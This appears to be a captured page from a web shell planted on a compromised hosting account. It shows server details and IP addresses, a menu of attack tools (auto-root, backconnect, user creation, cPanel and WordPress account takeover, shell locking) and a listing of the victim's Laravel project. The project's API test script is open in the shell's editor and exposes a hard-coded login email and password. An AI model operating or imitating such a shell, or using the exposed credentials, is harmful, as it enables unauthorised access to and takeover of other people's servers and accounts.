Linux server292.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
: 162.0.235.5 | : 216.73.216.150
Cant Read [ /etc/named.conf ]
8.3.25
comfsblg
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
comfsblg /
skills-api /
[ HOME SHELL ]
Name
Size
Permission
Action
.git
[ DIR ]
drwxr-xr-x
.well-known
[ DIR ]
drwxr-xr-x
app
[ DIR ]
drwxr-xr-x
bootstrap
[ DIR ]
drwxr-xr-x
cgi-bin
[ DIR ]
drwxr-xr-x
config
[ DIR ]
drwxr-xr-x
database
[ DIR ]
drwxr-xr-x
mobile-app
[ DIR ]
drwxr-xr-x
public
[ DIR ]
drwxr-xr-x
resources
[ DIR ]
drwxr-xr-x
routes
[ DIR ]
drwxr-xr-x
storage
[ DIR ]
drwxr-xr-x
tests
[ DIR ]
drwxr-xr-x
vendor
[ DIR ]
drwxr-xr-x
.DS_Store
8
KB
-rw-r--r--
.env
1.5
KB
-rw-r--r--
.gitattributes
66
B
-rw-r--r--
.gitignore
41
B
-rw-r--r--
.htaccess
386
B
-rw-r--r--
.mad-root
0
B
-rw-r--r--
8LEARNING_TRANSFORMATION_COMPL...
8.33
KB
-rw-r--r--
BACKEND_COMPLETION_SUMMARY.md
3.47
KB
-rw-r--r--
CHAT_REFACTORING_COMPLETION_RE...
5.99
KB
-rw-r--r--
COURSE_ADMIN_CONTROLLERS_SUMMA...
7.93
KB
-rw-r--r--
COURSE_MODULE_DUMMY_DATA_SUMMA...
6.27
KB
-rw-r--r--
EIGHT_LEARNING_API_TEST_RESULT...
6.92
KB
-rw-r--r--
ENHANCED_LEARNING_SYSTEM_PLAN....
9.62
KB
-rw-r--r--
README.md
31
B
-rw-r--r--
artisan
1.65
KB
-rw-r--r--
composer.json
2.22
KB
-rw-r--r--
composer.lock
395.26
KB
-rw-r--r--
debug_registration.php
0
B
-rw-r--r--
error_log
248
B
-rw-r--r--
generate_course_dummy_data.php
39.75
KB
-rw-r--r--
generate_course_dummy_data_bac...
39.75
KB
-rw-r--r--
generate_uganda_course_dummy_d...
15.63
KB
-rw-r--r--
hospital.sql
383.84
KB
-rw-r--r--
important-commands.txt
468
B
-rw-r--r--
loundry-app-stps.md
672
B
-rw-r--r--
package.json
473
B
-rw-r--r--
phpunit.xml
1.17
KB
-rw-r--r--
quick_auth_test.php
2
KB
-rw-r--r--
server.php
563
B
-rw-r--r--
test_all_api_endpoints.php
33.84
KB
-rw-r--r--
test_blog_api.php
4.24
KB
-rw-r--r--
test_camelcase_endpoint.php
1.08
KB
-rw-r--r--
test_chat_api.php
4.09
KB
-rw-r--r--
test_chat_system.php
3.99
KB
-rw-r--r--
test_company_update.php
1.25
KB
-rw-r--r--
test_contact_api.php
2.48
KB
-rw-r--r--
test_delete_account.php
0
B
-rw-r--r--
test_gdpr.php
2.63
KB
-rw-r--r--
test_gdpr_duplicate_request.ph...
2.58
KB
-rw-r--r--
test_learning_api.php
5.17
KB
-rw-r--r--
test_learning_api_complete.php
9.16
KB
-rw-r--r--
test_learning_endpoints.php
9.62
KB
-rw-r--r--
test_login.php
3.17
KB
-rw-r--r--
test_my_chats.php
2.04
KB
-rw-r--r--
test_registration.php
0
B
-rw-r--r--
test_send_message.php
2.57
KB
-rw-r--r--
update_uganda_courses.php
5.58
KB
-rw-r--r--
webpack.mix.js
559
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_learning_api.php
<?php // Test learning API endpoints $base_url = 'http://localhost:8888/skills-ug-web/api'; echo "=== Testing Learning API Endpoints ===\n\n"; // Test data $test_user_id = 1; $test_course_id = 1; $test_material_id = 1; $test_unit_id = 1; // Function to make HTTP requests function makeRequest($url, $method = 'GET', $data = null, $headers = []) { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); if ($data && ($method == 'POST' || $method == 'PUT')) { if (is_array($data)) { curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($data)); } else { curl_setopt($ch, CURLOPT_POSTFIELDS, $data); } } if (!empty($headers)) { curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); } $response = curl_exec($ch); $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return [ 'status_code' => $http_code, 'body' => $response ]; } // Try login first with form data echo "1. Testing Login (Form Data):\n"; $login_data = [ 'email' => 'mubahood360@gmail.com', 'username' => 'mubahood360@gmail.com', 'password' => '4321', 'logged_in_user_id' => '1' ]; $response = makeRequest($base_url . '/users/login', 'POST', $login_data, [ 'Content-Type: application/x-www-form-urlencoded', 'Accept: application/json' ]); echo "Status: " . $response['status_code'] . "\n"; echo "Response: " . substr($response['body'], 0, 500) . "...\n\n"; // Parse login response to get token $login_response_data = json_decode($response['body'], true); $token = null; if ($response['status_code'] == 200 && isset($login_response_data['data']['token'])) { $token = $login_response_data['data']['token']; echo "✓ Login successful! Token: " . substr($token, 0, 20) . "...\n\n"; } else { echo "⚠ Login failed or no token received. Testing endpoints without authentication...\n\n"; } // Headers for authenticated requests $auth_headers = $token ? [ 'Authorization: Bearer ' . $token, 'Accept: application/json', 'Content-Type: application/json' ] : [ 'Accept: application/json', 'Content-Type: application/json' ]; // Test Learning API Endpoints $endpoints = [ [ 'name' => 'Learning Dashboard', 'method' => 'GET', 'url' => '/learning/dashboard', 'auth_required' => true ], [ 'name' => 'Get Course for Learning', 'method' => 'GET', 'url' => '/learning/courses/' . $test_course_id, 'auth_required' => true ], [ 'name' => 'Get Material Content', 'method' => 'GET', 'url' => '/learning/materials/' . $test_material_id, 'auth_required' => true ], [ 'name' => 'Get My Subscriptions', 'method' => 'GET', 'url' => '/learning/my-subscriptions', 'auth_required' => true ], [ 'name' => 'Get My Progress', 'method' => 'GET', 'url' => '/learning/my-progress', 'auth_required' => true ], [ 'name' => 'Get Certificates', 'method' => 'GET', 'url' => '/learning/certificates', 'auth_required' => true ], [ 'name' => 'Update Material Progress (POST)', 'method' => 'POST', 'url' => '/learning/progress', 'data' => [ 'material_id' => $test_material_id, 'course_id' => $test_course_id, 'progress_percentage' => 50, 'time_spent_seconds' => 300, 'completed' => 'no' ], 'auth_required' => true ], [ 'name' => 'Get Course Progress', 'method' => 'GET', 'url' => '/learning/course-progress/' . $test_course_id, 'auth_required' => true ], [ 'name' => 'Get Material Progress', 'method' => 'GET', 'url' => '/learning/material-progress/' . $test_material_id, 'auth_required' => true ] ]; // Test each endpoint foreach ($endpoints as $endpoint) { echo "2. Testing {$endpoint['name']}:\n"; echo " URL: {$base_url}{$endpoint['url']}\n"; echo " Method: {$endpoint['method']}\n"; $headers = $endpoint['auth_required'] ? $auth_headers : ['Accept: application/json']; $data = isset($endpoint['data']) ? json_encode($endpoint['data']) : null; if ($endpoint['method'] === 'POST' && $data) { $headers[] = 'Content-Type: application/json'; } $response = makeRequest($base_url . $endpoint['url'], $endpoint['method'], $data, $headers); echo " Status: " . $response['status_code'] . "\n"; // Try to decode JSON response $decoded = json_decode($response['body'], true); if (json_last_error() === JSON_ERROR_NONE) { echo " Response: " . json_encode($decoded, JSON_PRETTY_PRINT) . "\n\n"; } else { echo " Response: " . substr($response['body'], 0, 200) . "...\n\n"; } // Add a small delay between requests usleep(100000); // 100ms } echo "=== Learning API Testing Complete ===\n";
Close